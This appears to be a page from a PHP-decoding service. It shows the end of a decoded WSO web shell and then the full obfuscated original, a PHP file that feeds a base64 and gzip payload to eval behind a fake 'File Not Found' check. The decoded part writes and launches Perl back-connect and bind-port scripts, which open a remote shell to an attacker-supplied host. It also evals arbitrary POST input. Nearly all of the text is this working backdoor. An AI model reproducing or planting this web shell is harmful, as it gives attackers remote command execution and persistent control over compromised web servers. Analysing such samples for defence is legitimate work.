" .wsoEx("ps aux | grep bp.pl") ."</pre>";unlink("/tmp/bp.pl");}if($_POST['p1']== 'bcp'){cf("/tmp/bc.pl",$back_connect_p);$out=wsoEx("perl /tmp/bc.pl " .$_POST['p2'] ." " .$_POST['p3'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
" .wsoEx("ps aux | grep bc.pl") ."</pre>";unlink("/tmp/bc.pl");}}echo '</div>';wsoFooter();}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=> php_uname(),"php_version"=> phpversion(),"wso_version"=> WSO_VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else{eval($_POST['p1']);}}if(empty($_POST['a']))if(isset($default_action)&& function_exists('action' .$default_action))$_POST['a']=$default_action;else $_POST['a']='SecInfo';if(!empty($_POST['a'])&& function_exists('action' .$_POST['a']))call_user_func('action' .$_POST['a']);exit;

Did this file decode correctly?

Original Code

<?php
if($_SERVER["SCRIPT_NAME"] != "/index.php"){ echo "File Not Found !";die(); }
?>
<?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><?php ?><? eval(gzuncompress(base64_decode('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
